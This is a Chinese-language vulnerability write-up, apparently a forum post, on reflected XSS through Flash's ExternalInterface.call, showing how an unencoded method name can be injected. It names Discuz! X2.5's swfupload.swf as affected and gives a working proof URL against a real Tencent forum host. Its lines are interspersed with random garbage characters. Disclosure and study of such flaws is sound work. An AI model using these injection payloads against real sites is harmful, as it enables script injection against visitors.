上回我们说7 o. }0 G# I: B8 H
! P V0 ^/ p; [1 a( e
flash.external.ExternalInterface.call($methodName, $parameter)5 ]$ z/ k; V* ^ N' O0 e
在浏览器中执行的是& k1 S( ^8 Z9 s3 \. U1 `2 k5 `0 w4 B
9 [' I) u S+ f7 B4 i- e( jtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}; a! \& z; b7 I0 r+ h5 o
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
- ? r+ V! v, ~# {! c( F
. ?2 t; j& M* M6 x+ |- iflash.external.ExternalInterface.call("object."+$methodName, $parameter)
+ Y) c+ H7 f& Q- u' r6 V$methodName = a())}catch(e){alert(/xss/)}//) l+ h! R# z% U% {# U
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
& s: P& v- k4 J, R6 _" i8 x1 }5 x6 i$ t* _8 L. ^1 S
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
. s* G3 d7 D1 K
8 o# [" M- P) P. o( o9 F这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
' {; ?" ]6 S0 L7 N4 e0 l4 A) A) d杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
( W- }, s2 M1 |5 h4 _* z
! y/ L2 V$ E$ P' u" V% I! `) x) }9 n7 {0 t! J: p
# v. g/ r1 N% w7 o# z; q" c
漏洞文件:upload\static\image\common\swfupload.swf7 R: f& S9 g( F# m0 j$ Q$ X1 |
, @$ ~# a& h* C
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
! x0 e( e! C9 V u0 ~7 Q! {% |1 U' ]+ o; k" ~& X$ T
/ g( d9 `0 X8 _: I漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
* i3 T# y0 U9 ]' S: L* R# \* r* D* [
& M- O( s G' f! Q2 {8 d) @ |